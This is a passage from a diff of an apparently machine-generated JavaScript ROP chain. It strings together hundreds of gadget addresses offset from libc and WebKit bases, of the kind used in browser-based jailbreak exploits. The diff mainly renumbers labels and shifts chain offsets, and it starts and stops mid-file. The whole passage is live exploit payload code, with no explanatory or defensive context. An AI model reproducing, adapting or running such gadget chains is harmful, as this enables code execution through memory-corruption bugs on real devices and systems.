@@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+200528, //L3102 +ropchain+200064, //L3084 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3102: +//L3084: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3101: +//L3085: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3103: +//L3086: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+200664, //L3104 +ropchain+200200, //L3087 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+200696, //L3106 +ropchain+200232, //L3089 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+200680, //L3105 +ropchain+200216, //L3088 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3104: +//L3087: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3105: +//L3088: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3106: +//L3089: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22931,41 +22864,41 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+200840, //L3109 +ropchain+200376, //L3092 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+200808, //L3107 +ropchain+200344, //L3091 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3107: +//L3091: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3108: +//L3090: db([4294967295, 4294967295]); // 0xffffffffffffffff set_gadget(libc_base+788575,); //pop rax -//L3109: +//L3092: db([0, 0]); // 0x0 set_gadgets([ libc_base+582033, //xor rax, rcx libc_base+793877, //pop rsi -ropchain+200896, //L3110 +ropchain+200432, //L3093 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L3110: +//L3093: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+200952, //L3113 +ropchain+200488, //L3095 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3113: +//L3095: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -22980,10 +22913,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L3114: +//L3097: db([4, 0]); // 0x4 set_gadget(libc_base+788575,); //pop rax -//L3115: +//L3098: db([4, 0]); // 0x4 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22994,38 +22927,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+201192, //L3118 +ropchain+200728, //L3101 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+201160, //L3116 +ropchain+200696, //L3100 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3116: +//L3100: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3117: +//L3099: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax -//L3118: +//L3101: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+201296, //L3120 +ropchain+200832, //L3103 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+201280, //L3119 +ropchain+200816, //L3102 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3119: +//L3102: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3120: +//L3103: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23033,59 +22966,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+201392, //L3123 +ropchain+200912, //L3104 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3121: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L3123: +//L3104: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3105: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+201496, //L3126 +ropchain+201032, //L3109 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+201480, //L3125 +ropchain+201016, //L3107 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3125: +//L3107: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3126: +//L3109: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+201584, //L3128 +ropchain+201120, //L3110 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+201600, //L3129 +ropchain+201136, //L3112 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3128: +//L3110: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3129: +//L3112: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+201656, //L3131 +ropchain+201192, //L3113 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3131: +//L3113: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -23097,33 +23030,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+201744, //L3133 +ropchain+201280, //L3115 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3133: +//L3115: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3132: +//L3116: db([41, 0]); // 0x29 set_gadget(libc_base+206806,); //pop rdi -//L3134: +//L3117: db([41, 0]); // 0x29 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+201872, //L3136 +ropchain+201408, //L3119 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+201856, //L3135 +ropchain+201392, //L3118 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3135: +//L3118: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3136: +//L3119: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23131,63 +23064,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+201968, //L3139 +ropchain+201488, //L3120 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3137: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L3139: +//L3120: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3121: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+202072, //L3142 +ropchain+201608, //L3125 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202056, //L3141 +ropchain+201592, //L3123 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3141: +//L3123: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3142: +//L3125: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+202160, //L3144 +ropchain+201696, //L3126 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+202176, //L3145 +ropchain+201712, //L3128 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3144: +//L3126: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3145: +//L3128: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+202248, //L3148 +ropchain+201768, //L3129 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3146: -db([4, 0]); // 0x4 -set_gadget(libc_base+792472,); //pop rcx -//L3148: +//L3129: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3130: +db([4, 0]); // 0x4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -23199,33 +23132,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202344, //L3150 +ropchain+201880, //L3132 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3150: +//L3132: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3149: +//L3133: db([61, 0]); // 0x3d set_gadget(libc_base+206806,); //pop rdi -//L3151: +//L3134: db([61, 0]); // 0x3d set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+202472, //L3153 +ropchain+202008, //L3136 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+202456, //L3152 +ropchain+201992, //L3135 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3152: +//L3135: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3153: +//L3136: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23233,63 +23166,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+202568, //L3156 +ropchain+202088, //L3137 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3154: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L3156: +//L3137: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3138: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+202672, //L3159 +ropchain+202208, //L3142 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202656, //L3158 +ropchain+202192, //L3140 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3158: +//L3140: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3159: +//L3142: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+202760, //L3161 +ropchain+202296, //L3143 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+202776, //L3162 +ropchain+202312, //L3145 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3161: +//L3143: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3162: +//L3145: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+202848, //L3165 +ropchain+202368, //L3146 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3163: -db([8, 0]); // 0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3165: +//L3146: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3147: +db([8, 0]); // 0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -23301,33 +23234,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+202944, //L3167 +ropchain+202480, //L3149 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3167: +//L3149: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3166: +//L3150: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3168: +//L3151: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+203072, //L3170 +ropchain+202608, //L3153 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+203056, //L3169 +ropchain+202592, //L3152 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3169: +//L3152: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3170: +//L3153: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23335,77 +23268,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+203168, //L3173 +ropchain+202688, //L3154 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3171: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L3173: +//L3154: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3155: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+203272, //L3176 +ropchain+202808, //L3159 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+203256, //L3175 +ropchain+202792, //L3157 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3175: +//L3157: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3176: +//L3159: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+203416, //L3179 +ropchain+202952, //L3162 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+203384, //L3177 +ropchain+202920, //L3160 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+203400, //L3178 +ropchain+202936, //L3161 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3177: +//L3160: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3178: +//L3161: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3179: +//L3162: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+203488, //L3180 +ropchain+203024, //L3163 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3180: +//L3163: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+203544, //L3183 +ropchain+203080, //L3165 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3183: +//L3165: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23414,7 +23347,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3184: +//L3167: db([12, 0]); // 0xc set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23423,7 +23356,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3185: +//L3168: db([8, 0]); // 0x8 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23432,39 +23365,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+203720, //L3187 +ropchain+203256, //L3169 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3187: +//L3169: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3186: +//L3170: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3188: +//L3171: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+203856, //L3189 +ropchain+203392, //L3172 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+203888, //L3191 +ropchain+203424, //L3174 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+203872, //L3190 +ropchain+203408, //L3173 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3189: +//L3172: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3190: +//L3173: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3191: +//L3174: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -23475,17 +23408,17 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+203992, //L3192 +ropchain+203528, //L3175 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204008, //L3193 +ropchain+203544, //L3176 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3192: +//L3175: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3193: +//L3176: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -23503,7 +23436,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3194: +//L3177: db([8, 0]); // 0x8 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23512,39 +23445,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+204176, //L3196 +ropchain+203712, //L3178 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3196: +//L3178: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3195: +//L3179: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3197: +//L3180: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+204312, //L3198 +ropchain+203848, //L3181 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204344, //L3200 +ropchain+203880, //L3183 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+204328, //L3199 +ropchain+203864, //L3182 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3198: +//L3181: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3199: +//L3182: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3200: +//L3183: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -23555,41 +23488,41 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+204488, //L3203 +ropchain+204024, //L3186 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+204456, //L3201 +ropchain+203992, //L3185 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3201: +//L3185: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3202: +//L3184: db([4294967295, 4294967295]); // 0xffffffffffffffff set_gadget(libc_base+788575,); //pop rax -//L3203: +//L3186: db([0, 0]); // 0x0 set_gadgets([ libc_base+582033, //xor rax, rcx libc_base+793877, //pop rsi -ropchain+204544, //L3204 +ropchain+204080, //L3187 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L3204: +//L3187: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+204600, //L3207 +ropchain+204136, //L3189 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3207: +//L3189: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -23597,17 +23530,17 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+5202439, //and rax, rcx libc_base+793877, //pop rsi -ropchain+204696, //L3208 +ropchain+204232, //L3191 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204712, //L3209 +ropchain+204248, //L3192 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3208: +//L3191: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3209: +//L3192: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -23618,44 +23551,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+204800, //L3210 +ropchain+204336, //L3193 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3210: +//L3193: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+204856, //L3213 +ropchain+204392, //L3195 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3213: +//L3195: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+204928, //L3214 +ropchain+204464, //L3197 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3214: +//L3197: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+204984, //L3217 +ropchain+204520, //L3199 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3217: +//L3199: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -23665,297 +23598,297 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L3218: +//L3201: libc_base+793877, //pop rsi -ropchain+205088, //L3221 +ropchain+204608, //L3202 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3219: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3221: +//L3202: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3203: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+205192, //L3224 +ropchain+204728, //L3207 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205176, //L3223 +ropchain+204712, //L3205 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3223: +//L3205: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3224: +//L3207: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+205264, //L3225 +ropchain+204800, //L3208 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+205280, //L3226 +ropchain+204816, //L3209 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3225: +//L3208: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3226: +//L3209: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+205448, //L3229 +ropchain+204984, //L3212 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+205464, //L3230 +ropchain+205000, //L3213 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205416, //L3227 +ropchain+204968, //L3210 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+205432, //L3228 +ropchain+204952, //L3211 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3227: +//L3211: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3228: +//L3210: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3229: +//L3212: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3230: +//L3213: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+205536, //L3231 +ropchain+205072, //L3214 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+205552, //L3232 +ropchain+205088, //L3215 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3231: +//L3214: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3232: +//L3215: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+205664, //L3235 +ropchain+205200, //L3218 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+205648, //L3234 +ropchain+205184, //L3217 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3233: +//L3216: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3234: +//L3217: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3235: +//L3218: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+205792, //L3237 +ropchain+205328, //L3220 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+205808, //L3238 +ropchain+205344, //L3221 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205776, //L3236 +ropchain+205312, //L3219 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3236: +//L3219: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3237: +//L3220: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3238: +//L3221: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+205912, //L3241 +ropchain+205448, //L3224 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+205976, //L3244 +ropchain+205512, 